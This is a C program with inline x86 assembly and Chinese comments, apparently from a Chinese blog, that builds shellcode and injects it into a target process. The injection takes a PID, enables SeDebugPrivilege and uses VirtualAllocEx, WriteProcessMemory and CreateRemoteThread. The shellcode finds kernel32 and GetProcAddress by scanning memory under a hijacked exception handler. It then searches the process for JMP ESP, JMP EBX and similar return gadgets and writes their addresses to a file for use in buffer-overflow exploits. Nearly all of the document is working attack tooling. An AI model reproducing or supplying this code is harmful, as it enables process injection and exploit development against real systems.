Get JMP ESP/JMP EBX/CALL EBX Address in a Process

/////////////////////////////////////////////////////
// Get JMP ESP/JMP EBX/CALL EBX Address in a Process
// by isno
// 必须在VC下用DEBUG模式编译
/////////////////////////////////////////////////////
#include <windows.h>
#include <stdio.h>
#include <winioctl.h>

#define FNENDLONG 0x08
#define NOPCODE 0x90
#define NOPLONG 0x0
#define BUFFSIZE 0x20000

#define SHELLBUFFSIZE 0x800
#define SHELLFNNUMS 9 //shellcode中的API函数数目+1

void shellcodefn();
void cleanchkesp(char *fnadd,char *shellbuff,char *chkesp,int len);

int main(int argc, char **argv)
{
//shellcode中要用到的字符串
char *str="LoadLibraryA""\x0"
"GetModuleHandleA""\x0"
"CreateFileA""\x0"
"WriteFile""\x0"
"CloseHandle""\x0"
"ExitThread""\x0"
"\x09""msvcrt.dll""\x0"
"sprintf""\x0"
"C:\\jmp.txt""\x0"
"--JMP ESP ADDR--\r\n""\x0"
"0x%.8x\r\n""\x0"
"--JMP EBX ADDR--\r\n""\x0"
"strend";

char *fnendstr="\x90\x90\x90\x90\x90\x90\x90\x90\x90";

char buff[BUFFSIZE];
char shellcodebuff[0x1000];
char *shellcodefnadd,*chkespadd;
unsigned int bufflong;
unsigned int locklong;

int i,k;
unsigned char temp;

HANDLE hProcess, hToken;
TOKEN_PRIVILEGES NewState;
DWORD ProcessId, ReturnLength = 0;
TOKEN_PRIVILEGES tp;
DWORD dwProcessId;
PCWSTR pszLibFile;
BOOL fOk = FALSE; // Assume that the function fails
HANDLE hThread = NULL;
PWSTR pszLibFileRemote = NULL;

if(argc!=2)
{
printf("usage: %s PID\n", argv[0]);
printf("result is in C:\\jmp.txt\n");
exit(0);
}
dwProcessId = atoi(argv[1]);

_asm{
mov ESI,ESP
cmp ESI,ESP
}
_chkesp();
chkespadd=_chkesp;
/*获得chkesp()函数的地址*/
temp=*chkespadd;
if(temp==0xe9) {
++chkespadd;
i=*(int*)chkespadd;
chkespadd+=i;
chkespadd+=4;
}

//shellcode的地址
shellcodefnadd=shellcodefn;
//定位到实际shellcodefn()
temp=*shellcodefnadd;
if(temp==0xe9) {
++shellcodefnadd;
k=*(int *)shellcodefnadd;
shellcodefnadd+=k;
shellcodefnadd+=4;
}
//找到shellcode的结尾
for(k=0;k<=0x1000;++k){
if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)==0)
break;
}

//把shellcode代码复制进shellcodebuff
memcpy(shellcodebuff,shellcodefnadd,k);
//清除其中的chkesp()调用
cleanchkesp(shellcodefnadd,shellcodebuff,chkespadd,k);

//把字符串拷贝在shellcode的结尾
for(i=0;i<0x400;++i){
if(memcmp(str+i,"strend",6)==0)
break;
}
memcpy(shellcodebuff+k,str,i);

bufflong=k+i; //shellcode的长度


///////////DEBUG/////////////////////
//_asm{
// lea ecx, shellcodebuff
//jmp ecx
//}
///////////DEBUG/////////////////////


//////////////////下面开始远线程写入///////////////////
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken);
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
CloseHandle(hToken);

__try {
// Get a handle for the target process.
hProcess = OpenProcess(
PROCESS_QUERY_INFORMATION | // Required by Alpha
PROCESS_CREATE_THREAD | // For CreateRemoteThread
PROCESS_VM_OPERATION | // For VirtualAllocEx/VirtualFreeEx
PROCESS_VM_WRITE, // For WriteProcessMemory
FALSE, dwProcessId);
if (hProcess == NULL)
{
printf("OpenProcess failed!\n");
__leave;
}

// Allocate space in the remote process for the pathname
pszLibFileRemote = (PWSTR)VirtualAllocEx(hProcess, NULL, bufflong, MEM_COMMIT, PAGE_READWRITE);
if (pszLibFileRemote == NULL)
{
printf("VirtualAllocEx failed!\n");
__leave;
}

// Copy the DLL's pathname to the remote process's address space
if (!WriteProcessMemory(hProcess, pszLibFileRemote, (PVOID) shellcodebuff, bufflong, NULL))
{
printf("WriteProcessMemory failed!\n");
__leave;
}

// Create a remote thread that calls LoadLibraryW(DLLPathname)
hThread = CreateRemoteThread(hProcess, NULL, 0, pszLibFileRemote, NULL, 0, NULL);
if (hThread == NULL)
{
printf("CreateRemoteThread failed!\n");
__leave;
}

// Wait for the remote thread to terminate
//WaitForSingleObject(hThread, INFINITE);

fOk = TRUE; // Everything executed successfully
printf("result is in C:\\jmp.txt\n");
}
__finally { // Now, we can clean everthing up

if (hThread != NULL)
CloseHandle(hThread);

if (hProcess != NULL)
CloseHandle(hProcess);
}
///////////////////////////////////////////////////////
return(0);
}

//shellcode实际功能代码
void shellcodefn()
{
char Buff[0x800];
int *except[3];

FARPROC sprintfadd;
FARPROC NOPNOP;
FARPROC ExitThreadadd;
FARPROC CloseHandleadd;
FARPROC WriteFileadd;
FARPROC CreateFileAadd;
FARPROC GetModuleHandleAadd;
FARPROC procloadlib;

FARPROC apifnadd[1];
FARPROC procgetadd=0;

char *stradd, *stradd1, *fmtstr;
int imgbase,fnbase,k,l;
int findaddr;
HANDLE libhandle;
DWORD ret;

//建立异常处理为我们自己的异常处理代码
_asm {
//int 3
mov eax, 1
jmp nextcall
getstradd:
pop stradd
lea edi,except
mov eax,dword ptr FS:[0]
mov dword ptr [edi+0x08],eax
mov dword ptr FS:[0],EDI
}
stradd1=stradd;
except[0]=0xffffffff;
except[1]=stradd-0x07;

//从这个地址开始搜索进程空间
imgbase=0x77e00000;
_asm{
call getexceptretadd
}
for(;imgbase<0xbffa0000,procgetadd==0;)
{
//每次增加0x10000
imgbase+=0x10000;
if(imgbase==0x78000000)
imgbase=0xbff00000;
//判断是否PE格式
if(*( WORD *)imgbase=='ZM'&& *(WORD *)(imgbase+*(int *)(imgbase+0x3c))=='EP')
{
//利用PE格式定位映象名字
fnbase=*(int *)(imgbase+*(int *)(imgbase+0x3c)+0x78)+imgbase;
k=*(int *)(fnbase+0xc)+imgbase;
//判断是否为KERNEL32
if(*(int *)k =='NREK'&&*(int *)(k+4)=='23LE')
{
libhandle=imgbase;
k=imgbase+*(int *)(fnbase+0x20);
for(l=0;l<*(int *) (fnbase+0x18);++l,k+=4)
{
//找到GetProcAddress函数
if(*(int *)(imgbase+*(int *)k)=='PteG'&&*(int *)(4+imgbase+*(int *)k)=='Acor')
{
k=*(WORD *)(l+l+imgbase+*(int *)(fnbase+0x24));
k+=*(int *)(fnbase+0x10)-1;
k=*(int *)(k+k+k+k+imgbase+*(int *)(fnbase+0x1c));
procgetadd=k+imgbase;
break;
}
}
}
}
}
//搜索KERNEL32.DLL模块地址和API函数 GetProcAddress地址
//利用异常处理来处理了搜索页面不在情况

_asm{
lea edi,except
mov eax,dword ptr [edi+0x08]
mov dword ptr fs:[0],eax
}
//恢复异常链

if(procgetadd==0)
goto die;

//利用GetProcAddress来获得shellcode中所用到的API地址
for(k=1;k<SHELLFNNUMS;++k)
{
if(*stradd1==0x9)
libhandle=GetModuleHandleAadd(stradd1+1);
else
apifnadd[k]=procgetadd(libhandle,stradd1);
for(;;++stradd1)
{
if(*(stradd1)==0&&*(stradd1+1)!=0)
break;
}
++stradd1;
}
libhandle=CreateFileAadd(stradd1,GENERIC_WRITE,FILE_SHARE_READ,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
stradd1+=11; //stradd1指向"--JMP ESP--\r\n"
WriteFileadd(libhandle,stradd1,18,&ret,NULL);
stradd1+=19; //stradd1指向"0x.8x\r\n"
fmtstr=stradd1;
stradd1+=9; //stradd1指向"--JMP EBX--\r\n"
//////////////////////////////////////////////////////////
//建立异常处理为我们自己的异常处理代码
//get jmp esp
_asm {
// int 3
lea edi,except
mov eax,dword ptr FS:[0]
mov dword ptr [edi+0x08],eax
mov dword ptr FS:[0],EDI
}
except[0]=0xffffffff;
except[1]=stradd-0x07;

//从这个地址开始搜索进程空间
_asm{
//int 3
xor ebx,ebx
call getexceptretadd
add ebx, 1000h
cmp ebx, 80000000h
jae gsleep1
jmp loadmem1
findj1:
inc ebx
loadmem1:
mov al, byte ptr [ebx]
cmp al, 0xff // FF E4 = JMP ESP
jnz findj1
mov al, byte ptr [ebx+1]
cmp al, 0xe4
jnz findj1
mov findaddr, ebx
}
sprintfadd(Buff, fmtstr, findaddr);
WriteFileadd(libhandle,Buff,12,&ret,NULL);
_asm{
jmp findj1
gsleep1:
xor ebx,ebx
call getexceptretadd
add ebx, 1000h
cmp ebx, 80000000h
jae gsleep2
jmp loadmem2
findj2:
inc ebx
loadmem2:
mov al, byte ptr [ebx]
cmp al, 0x54 // 54 C3 = PUSH ESP,RET
jnz findj2
mov al, byte ptr [ebx+1]
cmp al, 0xC3
jnz findj2
mov findaddr, ebx
}
sprintfadd(Buff, fmtstr, findaddr);
WriteFileadd(libhandle,Buff,12,&ret,NULL);
_asm{
jmp findj2
gsleep2:
nop
}
//get jmp ebx
WriteFileadd(libhandle,stradd1,18,&ret,NULL);
//////////////////////////////////////////////////////////
//从这个地址开始搜索进程空间
_asm{
//int 3
xor ebx,ebx
call getexceptretadd
add ebx, 1000h
cmp ebx, 80000000h
jae gsleepb1
jmp loadmemb1
findjb1:
inc ebx
loadmemb1:
mov al, byte ptr [ebx]
cmp al, 0xff //FF E3 = JMP EBX
jnz findjb1
mov al, byte ptr [ebx+1]
cmp al, 0xe3
jnz findjb1
mov findaddr, ebx
}
sprintfadd(Buff, fmtstr, findaddr);
WriteFileadd(libhandle,Buff,12,&ret,NULL);
_asm{
jmp findjb1
gsleepb1:
nop
xor ebx,ebx
call getexceptretadd
add ebx, 1000h
cmp ebx, 80000000h
jae gsleepb2
jmp loadmemb2
findjb2:
inc ebx
loadmemb2:
mov al, byte ptr [ebx]
cmp al, 0xff //FF D3
jnz findjb2
mov al, byte ptr [ebx+1]
cmp al, 0xd3
jnz findjb2
mov findaddr, ebx
}
sprintfadd(Buff, fmtstr, findaddr);
WriteFileadd(libhandle,Buff,12,&ret,NULL);
_asm{
jmp findjb2
gsleepb2:
nop
xor ebx,ebx
call getexceptretadd
add ebx, 1000h
cmp ebx, 80000000h
jae gsleepb3
jmp loadmemb3
findjb3:
inc ebx
loadmemb3:
mov al, byte ptr [ebx]
cmp al, 0x53 // 53 C3 = PUSH EBX,RET
jnz findjb3
mov al, byte ptr [ebx+1]
cmp al, 0xc3
jnz findjb3
mov findaddr, ebx
}
sprintfadd(Buff, fmtstr, findaddr);
WriteFileadd(libhandle,Buff,12,&ret,NULL);
_asm{
jmp findjb3
gsleepb3:
nop
}
CloseHandleadd(libhandle);
ExitThreadadd(0x7fffffff);

//搜索KERNEL32.DLL模块地址和API函数 GetProcAddress地址
//利用异常处理来处理了搜索页面不在情况

_asm{
lea edi,except
mov eax,dword ptr [edi+0x08]
mov dword ptr fs:[0],eax
}
//恢复异常链
//死循环
die:
goto die;

//我们自己的异常处理代码,以解决搜索内存无效页面时的继续执行问题
_asm{
getexceptretadd:
pop eax
push eax
mov edi,dword ptr [stradd]
mov dword ptr [edi-0x0e],eax
ret
errprogram:
mov eax,dword ptr [esp+0x0c]
add eax,0xb8
mov dword ptr [eax],0x11223344 //stradd-0xe,此地址会被修改
xor eax,eax //2
ret //1
execptprogram:
jmp errprogram //2 bytes stradd-7
nextcall:
call getstradd //5 bytes
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
}
}

/*清除shellcode中的chkesp()调用代码*/
void cleanchkesp(char *fnadd,char *shellbuff,char *chkesp,int len)
{
int i,k;
unsigned char temp;
char *calladd;

for(i=0;i<len;++i){
temp=shellbuff[i];
if(temp==0xe8){
k=*(int *)(shellbuff+i+1);
calladd=fnadd;
calladd+=k;
calladd+=i;
calladd+=5;
if(calladd==chkesp){
shellbuff[i]=0x90;
shellbuff[i+1]=0x43; // inc ebx
shellbuff[i+2]=0x4b; // dec ebx
shellbuff[i+3]=0x43;
shellbuff[i+4]=0x4b;
}
}
}
}

你可能感兴趣的:(thread,windows,UP,vc++)